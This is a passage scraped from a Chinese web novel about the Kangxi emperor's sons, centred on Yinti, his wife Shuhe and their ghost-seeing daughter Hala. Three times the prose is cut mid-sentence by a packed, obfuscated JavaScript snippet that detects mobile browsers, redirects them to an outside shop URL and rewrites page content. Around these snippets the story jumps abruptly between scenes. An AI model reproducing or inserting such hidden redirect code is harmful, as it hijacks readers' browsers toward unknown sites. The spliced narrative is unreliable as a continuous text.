“是!皇阿玛,儿臣告退。”一听可以走了,胤禛一秒都不带迟疑地就起身告辞。 要说刚才还对胤褆献上的东西有些感兴趣,经过半个时辰能噎死人的问答后,那就是什么兴趣都没了。 至于原来要禀告的事,倒也没到他拼死也要留下的地步。 胤褆瞄着胤禛兔子一样飞快逃跑的身影,幽幽地叹了一口气,他这张脸其他的不说,长的也不错啊,怎么就那么怕他? “保成,这些东西,你花了多少钱买的?” “回皇阿玛……” 在回答是‘买的’还是‘不要钱,白得的’的两个答案间,胤褆不过犹豫一秒就有了决断。 “每张配方价值不等,但我与福晋带出去的金银算是悉数配了上去。” 假的,他和福晋带出去的钱都用到了领地建设上,但他皇阿玛这一听就是想给他补钱的意思,钱什么的,他可是不嫌烫手的。 要说他坑吧,确实有点,但这也不是第一次坑了,一次是坑两次也是坑,想必皇阿玛就算是知道了,也会体量他的! “你大致算一下你和你福晋花费的金银,写个折子呈上来,批复过后,自己去户部那边支钱。” “是!儿臣谢皇阿玛体恤,若不是皇阿玛您开口,回头儿臣就要带着福晋一起进宫啃老了。” 这话胤褆说的是情真意切,但不知道为什么,胤礽就是从他身上看出了一股子虚伪的意味。 “保成?保成?” “皇阿玛,儿臣在。” “嗯,这些你拿过去看看,莫要再走神了。” “是。” “至于保清……” 康熙扫一眼底下翘首以盼的胤褆,拍板道:“你先去延禧宫给你额娘请安,晚上再赶回来用膳,赶不上宵禁的话,就住在南三所的院子,你之前住的地方还留着。” 胤褆一脸不可置信地看着康熙,要不是这是在御前,他都要不顾形象的伸手掏掏耳朵再让皇阿玛重复一遍刚才说的话。 现在这都快午时了,从上书房到延禧宫请安,再从延禧宫到上书房用晚膳,这么赶的时间,杀了他反而更轻松一些。 但是康熙已经埋头继续批折子去了,一看就是不想再听他废话的意思,胤褆最后只能无奈行礼。 “儿臣遵命,儿臣告退。” 前往延禧宫的路上,胤褆走着走着没忍住直接跑了起来,用膳就用膳,赶不上宵禁是什么鬼,他绝对绝对不要住南三所! 放着好好的府邸不住,住个破院子,除非他脑子有坑! “主子——主子!紫禁城不许狂奔,您再跑,咱们就要被抓起来了。”李阔看着左右两侧蠢蠢欲动的侍卫,赶忙提醒道。 有了李阔的提醒,胤褆脚上动作算是慢了一些,但也没慢多少,因为李阔还是需要小跑着才能追上。 延禧宫,还没有进去胤褆就听到了里面属于额娘和福晋的声音,另还有一道稚嫩的女声,想来应该是他那已经长大的女儿。 临进延禧宫前,胤褆特意抬手整理了一下领子,又让李阔看了一遍,确定没有这身衣服衬得他很英俊后,才抬脚跨过宫门的门槛。 一进去胤褆就跪了下去,甭管有什么,只要他这一跪,他额娘都舍不得再多说些什么。 “儿臣给额娘请安。” “过来,让我看看。”惠妃对跪在不远处的胤褆招手,待到胤褆来到近前后,拍了拍他的肩膀,感叹道:“瘦了,但也结实了,哈拉,过来。” 一个小女孩应声而来,抱住惠妃的腿喊:“妈妈,有什么事吗?” 看着哈拉眼神不住地往胤褆身上瞟,惠妃垂眸一笑,摸摸哈拉的头,指着胤褆道:“前些天不是还念叨你额娘阿玛什么时候回来,想见他们嘛,现下额娘见到了,也该见见阿玛了。” 听懂了惠妃话里面的暗示,哈拉扭头上上下下打量着胤褆,“你就是我阿玛?” “是,我……” “长得也不怎么样嘛,和妈妈一点都不像,妈妈和额娘都比你好看。” 胤褆脸上挤出一抹微笑,心中默念亲生的、亲生的,不能打,打了容易没福晋…… “你笑起来更难看了。” 童言童语,最是伤人心,慢一步走过来的舒禾恰好听到最后一句话,看到胤褆扭曲了的笑容,对女儿刚才说的那句话表示赞同。 哈拉还想接着插刀,可是还没来得及说话就被惠妃抱起来捂住了嘴,哈拉不满地挣扎,“唔唔——” 惠妃面不改色的加重手上的力道,并打圆场道:“哈拉小,但是胤褆你可不小了,跟她计较就太小家子气了,而且她现在这样,也是随了你。” “呵,随我?” “你小时候就是这样,一张嘴跟淬了毒一样,身边伺候的宫女有一个算一个就没有一个没被你骂哭过,要不然你以为你身边伺候的为什么都是小太监?” 还不是小太监心理承受能力强一点,被骂哭也能很快缓过来。 “妈妈,阿玛小时候你也揍他吗?” “揍,当然……”意识到是谁问的这个问题后,惠妃话锋一转:“是不可能揍的了,你阿玛都是被骂、抄书。” 惠妃说完给了胤褆一个眼神:母子一场,给你留点脸面。 短短一会已经心如死灰的胤褆冷笑,我可真是谢谢了您那。 “额娘,我和福晋一路舟车劳顿,累了,能找个地方让我们歇歇吗?” 听到这突兀的要求,惠妃正在戳孙女大胖脸的手指一顿,眼睛微眯,“好不容易回来,你不陪陪哈拉?” 那架势,大有一种你敢说不陪我就敢当场揍你的感觉。 但是胤褆怕吗?他当然不怕。 他很是淡定地回道:“一会还要去陪皇阿玛用膳,您要是不怕儿子累死,陪着玩也无妨。” “罢了罢了,你小时候睡过的房间还留着,带着你福晋歇息去吧。” 胤褆带着舒禾离开后,惠妃抱着哈拉忽然叹了一口气,小声嘀咕道:“你皇玛法就是这样,喜爱谁,就恨不得天天把人带在身边看着,讨厌谁,恨不得他立马去死,半点不考虑那人的感受……”也算是皇帝的通病了吧。 “妈妈不叹气,哈拉帮你骂他!” “哈拉乖,不能骂人。”尤其是这个人还是皇帝。 哈拉不明白妈妈为什么这样说,明明有时候妈妈还抱着她和她一起骂人呢,但这并不妨碍哈拉乖乖点头,并在内心盘算找两个玩得好的鬼私底下报复回去。 看见哈拉点头,惠妃欣慰地摸摸她的头,抱着她就回了寝殿。 从哈拉出生到现在,也有四年了,这么多年下来,就算是养条狗都有感情了,更何况是个孩子了,但感情越深,惠妃就越担心。 大清的公主就没有轻松的,一个个年纪轻轻就去抚蒙,最后落得个香减玉消的下场。 抚蒙这场大运动目前为止看不到停止的尽头,依照面前的局势来看,迟早有一天会轮到哈拉。 爱其子则为之记深远,惠妃并不想自己从小看到大的孩子落得个香减玉消的下场,但仅凭她远远做不到,能做到的只有胤褆。 虽说能够直接同胤褆商量,但惠妃不确定,他会不会为一个没有感情基础的女儿豁出去求圣旨。 她倒是有个生身母亲的身份在,可是她们两个相处时间,还没有她和一岁时的哈拉相处来的多。 目前,只有先让父女两个培养出感情再徐徐图之…… 在惠妃忧愁时,舒禾和胤褆也正在说哈拉的事情。 “这次出海,我想试着把哈拉一起带走。” 胤褆环着舒禾的肩点点头,“可以,有计划了吗?” “只是稍有头绪,但还没有具体脉络。” “我这边有个计划,你听听,顺便估算一下可行性高不高。” “你说。” “伪造脉象,营造出我腹下受过伤,没了生育能力,哈拉会是我这辈子唯一的子嗣,然后再顺势提出出海时也想把哈拉带在身边教养,未来让她接我班的请求如何?” “不可!” 胤褆不解地歪头,“为什么不可,我觉得我这个主意非常的不错。” “你想啊,如果明面上你不能生了,哈拉作为你唯一的子嗣,是不是非常主贵?” “是,但她就算不是唯一的子嗣也非常主贵!” 见胤褆还有心思强调这个,舒禾无语望地,“没有说她不主贵的意思,而是说主贵和唯一是不一样的,如果她是唯一,那么不管是皇阿玛还是额娘都不会让我们带走她。 因为出海在他们看来是一件危险的事,而作为唯一,哈拉不能牵涉到一点危险。” “那怎么办?实在不行咱们还是偷吧。” 偷偷偷——一天天嘴里面就知道念叨偷,不知道还以为他们两个不是孩子父母,而是人贩子呢! 舒禾怒目看着胤褆,气势汹汹的吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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石头?舒禾大脑疯狂运转,才让自己没有笑出声,在她这的宝石到了她女儿那直接变成了石头,变化不可谓不大。 “咳,如果你说的石头是个巴掌大的小人,那么是我。” “你能看到石头,那么你也能看到翠翠吗?” “什……什么?” “就我旁边站着的这个大姐姐啊,她说她叫翠翠。” 听完哈拉的话,舒禾的面色一点点僵住了,头就像是生锈了一样,一点一点往旁边瞅去,“你说,你旁边站着一个姐姐?” “对啊,额娘看不到吗?” “呵、呵呵……” 【宝石!宝石!赶紧给我出来!】 就躲在门口的宝石眼见着没躲过,飞进房中,无奈地问道,【怎么了?】 【哈拉刚才说她身边有鬼!还是一个女鬼,这鬼就这么跟在哈拉身边,真的不会出什么问题吗?不是说鬼会影响寿命和气运吗?】 【这事,说来话长——】 “这事啊,说来话长,改天、改天你们几个去我府上,咱们兄弟几个单独说。” “大哥,你这话说的,还有什么是皇阿玛听不得的?” 胤褆扭头看向出声的胤禟,用行动表明爷记下了了,你小子给爷等着。 “没什么皇阿玛不能听的,就是些腌臜事,说出来平白污皇阿玛的耳朵,能不说还是不说的好。” 见胤禟还想继续说些什么,胤礽先一步截住话头,“大哥说的是,皇阿玛龙体安康最为重要,腌臜事什么的还是少听为好。” 两个儿子都这么说,康熙就算是再想听也只能作罢,举起手边的酒杯示意,“行了,食不言寝不语,都吃饭、吃饭!” 所有人低头的瞬间不约而同地翻了个白眼,现在说食不言寝不语了,可不是刚才那个说要热闹热闹的你了。 一顿‘热闹’的晚膳过后,就是空剩一人的廖寂。 目送几个一同出来的兄弟走远,胤褆继续靠站在午门口的马车上等着宫内的妻儿出来,殊不知几个走远的兄弟正在背后一起蛐蛐他。 “大哥手底下的人都被我们分了他还一点不着急,还这么拽,我总觉得他手里面还有什么底牌在。” “三哥,你总爱说些废话,这不是显然易见的事嘛。”胤禟撇撇嘴,一脸的嫌弃。 “小九,不可对哥哥无礼。” “五哥,你训斥我,我要告诉……” “行,那你回宫吧,不要去我府上住了。” 一听要回宫,胤誐私底下狂拽胤禟袖子,胤禟猝不及防差点被拽趴下,愤愤地扯出自己的袖子,冷哼一声快走两步不说话了。 见他这样,胤誐歉意的对着几个哥哥笑笑,追着胤禟去了。 “小九和小十关系还是那么好,”胤禛感叹了一句后,就把话题切回了正题,“大哥手里面有底牌是一定的,今天我见了大哥,他说他在大清留不久。” “他还要出海?”胤祺诧异的问道。 这个问题没人在场能够解答,只能顺着胤禛给出的线索继承往下猜。 胤禩摸摸腰间坠着的玉佩,低声道:“假设大哥还要出海,那只能说明海外有比那个位置更吸引他的东西在。” “喂,我说,你们在这猜来猜去的有意思吗?这么好奇,不如明天去找大哥问个清楚,反正他今天也说了,要邀请咱们几个去他府上小叙。” 几人对视一眼,异口同声道:“小九说的不错,那就明天去拜访大哥。” 49.想出海?想称王? “舒——” 胤褆远远看到舒禾的身影,刚喊出一个字,那边就传来了属于他女儿的童言童语。 “你为什么一直要叫舒禾,不应该叫额娘吗?” “哈?”胤褆不可置信地看着跑过来抱住他大腿的哈拉,“你刚才说什么?” 哈拉一脸拿你真没办法的表情,把自己刚才说的话又重复了一遍。 确定自己耳朵没有出问题后,胤褆直接被气笑了,弯腰捞起抱着他大腿的小团子,捏了捏她肉嘟嘟的小脸,耐下性子解释道:“你叫额娘是因为你是她的孩子,我叫舒禾是因为她是我的福晋,所以……” “所以你不叫额娘,我要叫,对吗?” 莫名感觉哪里不对劲但又想不出来哪里不对劲的胤褆点点头,“是这样没错。” “既然她是我一个人的额娘,我能不能把她带回延禧宫藏起来?” 知道哪里不对劲的胤褆脸一黑,想到什么,又一脸委屈地看向站在一边看热闹的舒禾,“舒禾,你看她这说的都是什么话!” 小小年纪就想和他抢福晋,真真是吃了熊心豹子胆了。 胤褆向舒禾求助,哈拉也不甘示弱,紧随其后就看向舒禾唤道:“额娘~” 不想判官司的舒禾:…… “别站在这说话了,上车,有什么都上车再说。” 说完就一马当先上了马车,胤褆抱着哈拉紧随其后,马车上,面对两人目光逼视的舒禾一闭眼睛,很不走心的开始装睡。 见她闭上眼睛,父女两个尽管很想要个答案,但也都闭了嘴。 伴随着晃晃悠悠的马车,舒禾的思绪再次回到宝石刚才说的那些话上。 什么现在还没有开国一会不许成精的法条,什么妖魔鬼怪都是存在的、只是平常不显于人前,什么哈拉日后说不定能组建一只真正存在于暗处的军团…… 光是回想,舒禾就觉得脑子快炸了。 好在最后宝石给了她一个准信,有阴阳眼这事并不会对哈拉本人的气运和寿命有碍,要不然现在的她就要考虑去哪找人把哈拉的阴阳眼给封了了。 不过说到这里,她依稀记得,当时宝石漂洋过海地去找她时,好像说什么主持看上了哈拉的天赋,留在皇宫里面教导哈拉有关这方面的知识。 舒禾缓缓睁开眼睛,刚想开口向哈拉询问什么,就注意到哈拉已经在胤褆怀里面睡着了,不自觉压低声音将原本待出口的问题变成了倾诉。 “今天在延禧宫,你走后没多大会,哈拉就找了过来,我们两个聊了两句,她说她身边一直跟着个姐姐,我却没有看见,她还说,她还有好几个别人看不见的朋友。 保清,哈拉能看到常人所不能看到的东西,我有点担心她的以后。” 脑子反应片刻,反应过来舒禾说了什么后,胤褆只感觉脑海一片空白,只有三个字在不停徘徊,那就是——假的吧? 但是看着舒禾脸上真切的担心,那句‘假的吧?’却怎么都问不出来了。 身体快过脑子,胤褆脑子还没有反应过来该怎么办,身体已经自觉地抬手将环住舒禾的肩膀将人往自己身上按去,并安抚似地拍拍。 思忖片刻,出声安慰道:“别担心,就算是能够看到什么,那也是因着皇阿玛龙气庇佑,再说,生在皇室,还怕什么与众不同吗?” “在紫禁城自然没有人敢说什么,但若是抚蒙……” 胤褆皱着眉头打断舒禾的话,“说什么抚蒙不抚蒙的,咱们就哈拉一个女儿,让她抚蒙谁来继承我打下的领地?” 说到这里,胤褆眼睛猛地一亮,“她以后会是我领地的继承者,是所有人的主子,谁敢质疑自己的主子,直接拖出去砍了不就行了!” “总是杀人也不是个办法,不如……” “不如?” “不如在大清多找几个有本事又有名的人,让他们轮番教导哈拉,到时候若是有人质疑,大可以把事情往她那些师父身上推。” “是个办法,回头我找皇阿玛,让他帮忙。” “说到皇阿玛,你今天给他献方子时,他有没有为难你?” “没,不止没为难我,还说让我给他写折子说花了多少钱,他给报销。” 听到报销两个字,舒禾眼睛一亮,扭头对上胤褆看过来的眼睛,抿唇一笑,“我突然觉得,皇阿玛挺好的。” “实不相瞒,我也是突然觉得。” 坏到一处的夫妻两个没忍住露出一致的坏笑,眼里面没有一点对皇权的恐惧,全部是对于即将坑到手金银的渴望。 回到府上,两人一夜没睡,抱着哈拉商量了一晚上写多少钱最合适、有钱了该干什么,直到天蒙蒙亮才睡去。 熟料,刚眯着,外边就传来了李阔小声的呼唤声,胤褆迷迷糊糊地睁开眼睛,下床走到门口,拉开门头也不抬的呵道:“滚!再喊,自己去领板子!” “爷,不是我想喊,实在是外边几位阿哥等着呢!” 胤褆脑子根本没转过来弯,听到外边有人等着,想也不想地回道:“打发了,今天不见客。” 就在李阔想再重复一遍是谁来了时,李海也急匆匆地从外边跑了进来,眼尖的瞟见胤褆站在房门口,边跑边喊道:“爷,太子爷来了。” “太子?” “爷,不止是太子,三、四、五、七、八、九、十几位阿哥都来了,此刻就在前院等着。” 已经清醒了不少的胤褆面无表情地想道:来这么齐?准没好事。 “去隔壁,备水,”想到房中还睡着的妻女,不忘嘱咐一句:“动静都小着些。” “是。” 李阔应下后,胤褆转身回房,走到床边,撩开纱幔,果不其然就见床上的福晋半睁着眼睛,一副迷糊模样。 “保清?外边是有什么事吗?” “没事,你接着睡。” “好——” 一个好字没说完,舒禾就又睡了过去,这睡眠质量,胤褆是服气的,弯腰把被哈拉踢开的被子盖回去,又偷了个香,不再留恋,转身就出了房门。 待胤褆收拾妥当来到待客厅,推开门走进去的一瞬间,一屋子的半月头晃的他眼晕,一想到他现在也是这么个发型,不止眼晕,他感觉还有点头晕。 人还没缓过来,屋子里面等了一会的几兄弟率先张嘴发了难。 “大哥,你那是什么表情?难不成不欢迎各位兄弟们来做客?” 胤褆抬眼望去,是胤禟,想到昨天晚膳时这小子就给他找事,脸上扬起一抹和善的笑,“小九啊,你那么多意见,不如咱们兄弟两个去演武场切磋切磋?” “大哥,我跟你讲兄弟情份,你却想揍我,这不妥吧?” “此言差矣,兄弟兄弟,越打越亲,大哥这是想跟你亲近呢小九!” 胤禟猝不及防被身边的兄弟背刺,整个人几欲呕出血来,偏头恶狠狠地瞪了胤祉一眼,“三哥!不会说话就别说!” 让他一个战五渣去和老大对打,怕是觉得老大的沙包不够用给他送沙包去了吧? “咳,那啥,大哥,小九身体不适,就不和你切磋了,你要是想切磋,改天、改天——”说完,胤禟害怕胤褆不相信他身体不适,装模作样地又咳了好大一会才停下。 见胤禟光是咳嗽都快把自己咳背过气去了,胤褆懒懒地翻了个白眼,也不和他计较了,借用太子的话来说就是——和傻子计较,丢份! 一场小闹剧过后,许久不见的兄弟几个才算是切入正题。 “大哥,”胤礽对着胤褆微微颔首,算作打了招呼,“你交上去的那些东西,孤昨天在皇阿玛已经看过了,今天过来,是想问一句,那些东西可是一国所出?” “不是。”胤褆直截了当的回道。 “既如此,孤也就放心了。” 那些东西一个个对国家武力的增强作用实在是太过恐怖,若是一个国家所出,那么那个国家完全可以横扫大清了,不问清楚他害怕刚坐上皇位就被拉下去。 旁边几个,见胤褆回答的这么干脆,对视一眼,纷纷放弃了原来绕弯子的想法,决定直白着问。 作为除胤褆和胤礽之外年纪最大的那个,胤祉当仁不让地接过了话茬,“大哥,你这次回来,还走吗?” “走,但不会立马走,估摸着会待个一年半载的再走,你问这个,是想干嘛?” “好奇,纯属好奇。” “嗤——老三,你还是这样。”怂。 “大哥大哥,海外经商的人多吗?” 这话一听,不用回头胤褆就知道是哪个说的,“小九,问那么多做什么,就算是知道了你也出不去。” “哎呀,我现在出不去,那以后还能一直出不去嘛!大哥你就告诉我吧!” “多,挺多的。” “那外边是不是遍地都是黄金和宝石?” 问这个问题时,胤禟眼睛滴溜溜地转着,一看就是在想什么坏主意,是以,胤褆并没有回答他的问题,而是警告道:“你那些小心思给我收起来,不然小心你这身皮。” “哼,十弟,大哥不欢迎咱们,咱们走!” 胤誐被胤禟拽着胳膊往外走时路过胤褆身边,求助地看向胤褆,想让他帮帮忙,让胤禟别走。 但是胤褆才懒得搭理他,目送两个烦人弟弟走后,端起桌上李阔刚刚送进来的浓茶喝了一口,眼睛瞬间就眯了起来。 不为其他,这茶太浓,冲的他眼睛发酸。 一边看胤禟和胤誐热闹的几个阿哥对视一眼,胤禛肃着一张脸冷声道:“十弟这看脸的毛病不改,就永远摆脱不了九弟。” “摆脱九弟干嘛,他俩成天凑一块也挺好玩的,一个没脑袋、一个不高兴,光是看着就让人想笑。”胤礽托着下巴笑道。 亲弟弟被说不高兴胤祺也没恼,反而十分赞同地点点头,“他们两个的相处模式看上去确实有趣。” “皇家长的好看的不少,就好比大哥、太子二哥……十弟为什么就只黏着九弟呢?”胤祉不解的出声问道。 “因为他们两个都不是会搭理小孩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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送个信送到对家手里,也是他的能耐。 胤褆见胤礽一直盯着信却不动作,想了想,补充了一句,“放心,这信是原装的,爷没动过。” “呵——呵呵,大哥说的这是哪里的话,孤从来没怀疑大哥动过这封信,只是猛然听到,有些回不过神罢了。” 胤礽上前几步接过胤褆手里面的信,攥紧收回袖中,“大哥帮忙带信辛苦了,改天孤做东,请大哥吃酒。” “吃酒就不必了,送点江南进贡的布料来吧。” 胤礽咬牙,“行!回头孤就让江鸿送来。” “那就慢走不走——” 眼睁睁看着太子出门时不小心被门槛拌了一下,还没走的几个兄弟对视一眼,不约而同地咽了咽口水。 “大哥,我想……” “嗯?是小四啊,你想干什么?” 胤禛起到一半的身子慢慢坐下,“没什么,就是坐久了,起来活动活动。” “这样啊,”胤褆了然地点点头,突然朝外喊道:“李阔!李阔!” “爷、爷,在呢,有什么吩咐?” “去,让厨房的准备一桌子好酒好菜,爷要和几位兄弟好好叙叙旧。” “三弟、四弟、五弟、七弟还有八弟,就剩咱们几个了,走吧?”胤褆笑眯眯地瞅着苦着脸的几人,眼中没有其他,纯是报复。 “大哥,请——”胤祉做出手势,示意胤褆先走。 胤褆点点头,率先走了出去,胤祉随后跟上,其他几人见状,叹了一口气,也跟了上去。 饭桌上,吃吃喝喝间每人都喝了不少酒,趁着酒劲胤祉突然问道:“大哥,咱们兄弟一场,你说一句敞亮话,是不是在外边搞了个地方称王了?” “老三,须知有些话能说有些不能说,来,喝酒——”胤褆拿起酒杯和胤祉放在桌子上的酒杯碰了一下,随后一饮而尽。 而得到这么个回答的胤祉眼睛却亮了,有时候没有正面回答就是最好的回答,他知道,依照胤褆的性子,若是没有,他一定会直接否认,而不会像现在这样,不否认也不肯定。 他知道,其他几人自然也知道。 下半场饭局,几人无形间形成了一股子默契,那就是不停的给胤褆灌酒,企图把他灌醉好问出更多的信息。 几人的目的胤褆心里面清楚,却还是借着这个机会喝了痛快,毕竟平时可找不着让这几个奉承他喝酒的机会。 机会难得,失不再来,当抓住。 直到胤褆觉得喝尽兴了,一摆手推开胤祉递过来的酒,“行了,不能再喝了,再喝该进不了房门了。” “房门?没想到大哥你还惧内啊?”胤祉笑着调侃道,想借此激胤褆再多喝几杯。 但胤褆根本就不受激,避过胤祉再次递过来的酒,眉头皱起,“惧内又如何?总比宿在那花楼柳巷里面好。” “是是是,大哥教训的是,就是不知道大哥能不能教教弟弟,如何出海?” “哼哼——你是想出海还是想称王啊?”胤褆问完,似笑非笑地扫视一圈饭桌上的人,有一个算一个,在他扫过时,表情都是如出一辙的渴望。 50.不言中 至于渴望什么,他胤褆自认没那么大魅力引得众兄弟这么看他,那就只有‘称王’二字了。 该说什么好呢,他们这些帝王家的孩子天生就对权力有着无与伦比的渴望,现下就看看谁最先按耐不住跳出来了。 胤褆猜测会是胤禩,这个从小跟在他身边的弟弟,因着额娘地位低,从小尝尽捧高踩低滋味的他,对权力的渴望更甚于在场所有人。 最后不出所料,最后先开口的是胤禩。 “大哥,如果我说,是称王,你当如何?” “我当如何?呵——”胤褆拿起酒杯又喝了一口酒,方才饶有兴致地看向神色紧张的胤禩,“当然是不如何了,毕竟你们想归想,跟我半点关系都没有。” 话说到这里,胤褆又突然一转话锋,“但!咱们几个总归兄弟一场,你们若是真有什么需要我帮忙的,我还是会帮一把的。” 话说到这里,所有人已经差不多明白了胤褆的意思,对于他们这些人,有时候话不需要说太明白,一切尽在那不言中。 “如此,我敬大哥一杯!” 说是敬,胤禩根本就没等胤褆反应,一口就杯中酒闷了,胤禩开了个头,其他几个先后也站起来各敬了一杯酒。 面对兄弟几个的敬酒,胤褆只在最后喝了一杯,算作应承下来了他们所有人的敬酒。 又是一阵推杯换盏,待到所有人尽兴,醉醺醺地离开,胤褆被李阔扶着回到后院,刚进福晋的院子就见门口站了个十分眼熟的人。 胤褆眯着眼睛瞅了半晌,方才大着舌头唤道:“舒禾?” “嗯,是我,怎么喝成这样回来?”见自己被认出来,舒禾方才上前扶过胤褆。 有了舒禾,胤褆果断抛弃扶了他一路的李阔,转而投奔舒禾的怀抱。 这一下是有够沉的,要是没有在领地里面跑马锻炼的一年,舒禾都不敢保证自己能不能扶住他。 定了定神稳住身子,扭头看向候在一边的李阔,轻声吩咐道:“备水,顺便去厨房要碗醒酒汤。” “是,福晋。” “不用醒酒汤!爷没醉,就是有点子晕乎罢了。” 舒禾好笑地摸摸胤褆的脸,掐着他的脸颊肉往外拽了拽,“你这大着舌头说话的样子,说没醉,你问问李阔信不信?” 听到李阔两个字,胤褆偏头看向李阔,“你!过来……” “爷,奴才给您要醒酒汤去。”察觉不妙的李阔火速开溜。 “舒禾,他跑了?” 听着胤褆不可置信的语气,舒禾憋着笑点头,“嗯,他跑了。” “反了天了,一个奴才都不把爷的命令放到耳朵里面,舒禾,爷这个郡王是不是要被废了?” 舒禾一边扶着胤褆回屋一边抽空回答他的醉言醉语,“不是,爷这个郡王当得长久着呢。” “不能长久,郡王当得长久就不能往上升了。” “哦?保清想往上升到什么地步?” 胤褆拧着眉头思忖片刻,“怎么也得是个亲王吧?” “为什么是亲王?” “大清的亲王没几个,我当了亲王,再需要你行礼的女眷就没几个了。” 这话说的,真真是一点看不出醉模样,但舒禾偏头看了,那眯着眼快睡着的模样和大着舌头说话的模样,无一不表明胤褆确实是醉着的。 虽然她并不信酒后吐真言这句话,但不置可否,在听到胤褆说这些后,原来因着他喝酒而不怎么美丽的心情变好了不少。 把胤褆扶到屋中软榻上安置好,舒禾又起身去床边看了一眼,确定哈拉还睡着,没有醒,转身走到软榻边,轻轻拍了拍胤褆的脸。 “保清,去隔壁屋子洗漱一番再睡好吗?” “洗漱?”胤褆迷迷糊糊地看着舒禾重复了一遍这两个字。 舒禾点点头,“对,洗漱。” “你陪着我吗?” “我不去。” “那我也不去了。” 最后的最后,舒禾还是陪着胤褆去隔壁洗了个澡。 洗完澡,喝完醒酒汤,把醉了的胤褆安置到床上,确认他睡着后,舒禾对着不知道什么时候睁开眼睛的哈拉招招手,示意哈拉过来。 “额娘?” “你阿玛睡着了,咱们不在再打扰他睡觉,跟额娘去其他地方玩好不好?” 哈拉低头看看被她脚踩在胸口都没有动静的胤褆,再抬头看看一脸温柔的额娘,点点头,“好,哈拉跟额娘去其他地方。” “真乖~”舒禾摸了摸哈拉细软的头发,抱着她去了书房。 书房内的地上摆放着一张巨大的毯子,毯子上是各式各样的玩具,全是适合四、五岁孩子玩的。 这些是昨天睡前就下了吩咐去准备的,现在倒是恰好用上。 舒禾抱着哈拉坐到毯子上,拿起一个小车,对着哈拉晃了晃,“额娘陪你问这个好不好?” “不用,额娘去忙吧,翠翠姐姐陪我玩就好。” 尽管昨天已经知道了有翠翠这么个人……哦不,鬼,但再次听到翠翠这个名字,舒禾面色还是控制不住的一僵。 僵着一张脸把玩具车放下,应道:“好,那你和翠翠姐姐好好玩,额娘就坐在那边的桌子旁,有什么叫额娘一声,额娘都能听见。” “知道了知道了,额娘你快去忙吧。” 接下来半晌,舒禾魂不守舍的坐在椅子上一边看账本和各地掌柜的送来的信,一边关注着哈拉那边的情况。 见那个玩具车没有任何东西支撑,就那样悬浮在半空中,即使早有预料,抓着信封的手还是不受控制地紧了紧。 好不容易缓过神,转而去看账本,就见她女儿飘起来了,一边飘还一边嚷嚷着什么再飘高一点、再飘高一点…… 哈拉玩的是高兴了,她在一边看的也快担心死了。 女儿陪着干活的半晌,舒禾一个字都没进去,全看女儿在空中各种飘了。 好不容易到了用膳的时间,舒禾如释重负地放下手中账本,走到还飘在半空中的哈拉身边抱住哈拉,面无表情地看向虚空,“我要带哈拉去吃饭了,现在麻烦你放开她并远离她。” “额娘,你看错方向了,翠翠姐姐在你右边偏一点,现在抱着我的是她的头发。” “呵……呵呵,是吗?” “是啊。” “那额娘换了方向再重新说一遍。”说着,舒禾按照哈拉刚才说的方位偏过头,把刚才说的话又重复了一遍。 然后,就听哈拉道:“额娘,翠翠姐姐走了,咱们也去吃饭吧。” “好。”听到‘走了’两个字,舒禾由衷地松了一口气。 这种超自然的生物,身为人她本能的感觉害怕,但是旁观了哈拉和对方那么的玩耍,舒禾倒也觉得还好。 期间哈拉不停的提要求,要求对方按照她的意思来玩,换作她这个亲额娘都不能保证能耐下性子陪哈拉玩,对方就能。 尽管可能和她看不见的原因有关,现在对方在舒禾心里面,就凭着她带小孩那么久都没有不耐烦,就是一个情绪稳定外加超好的鬼。 【舒禾,我回来啦!】 “石头!” 听着脑海里一道,现实里一道,舒禾再不想知道也知道宝石回来了,顿下出去的脚步,低头蹭蹭哈拉的额头,低声道:“哈拉,答应额娘,以后在外边,不要这样随便出声,不管是对着石头还是翠翠都不可以。” 见舒禾准备教孩子,宝石自觉回避,嗯,就是回避,才不是他不想听这些念叨呢。 “为什么?”哈拉不解地看着舒禾,之前在宫里面,妈妈她们都没有这样要求她过,怎么一到这里,就要这样…… “因为世间多愚者,能看到常人所不能看之物的人,往往会受到常人妒恨,以致给自身招致灾祸,所以,不让其他人知道,能更好的保护自身。” 哈拉条理清晰的反驳道:“他们妒恨我,是他们的错,我为什么要改变?” “因为……” “因为智者就是这样的。”因着福晋身边睡不好,酒醒了就过来的胤褆接话道。 “阿玛!” 舒禾望向突然推门而进的胤褆,笑容和善,“又偷听?” 胤褆轻咳一声,从舒禾手里面接过哈拉一只手抱好,另一只手握住她垂在身侧的手,小声耳语道:“哈拉还在呢,给我个面子。” “行,那就给你这个面子。” 得到舒禾肯定答复,胤褆小小地松了一口气,低头蹭蹭哈拉的脸,被哈拉身体往后避开也不恼,反而笑着调侃:“这身体柔韧性,不愧是我女儿,一看就适合练武。” “练舞?”哈拉眼睛一亮,手挥舞着比划了几个手势,“是宫宴上那些舞姬跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130088|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些吗?” 这个同音梗,舒禾又被笑到,笑到一半接受到胤褆求助的眼神,行吧,笑容暂停,先救场。 “不是哦哈拉,是可以上阵杀敌的武功。” “就是和十四叔练的那样,嘿哈——砰砰的武啊,我不想学,学了也是挨打。” “嘿哈——砰砰?” 母女两个说话间,胤褆牵着一个抱着一个负责看路,眨眼间几人就来到了饭厅,落座后,胤褆一边帮哈拉撸袖子,一边解答舒禾不懂的地方。 “嘿哈是练武时的起手势,至于砰砰……” 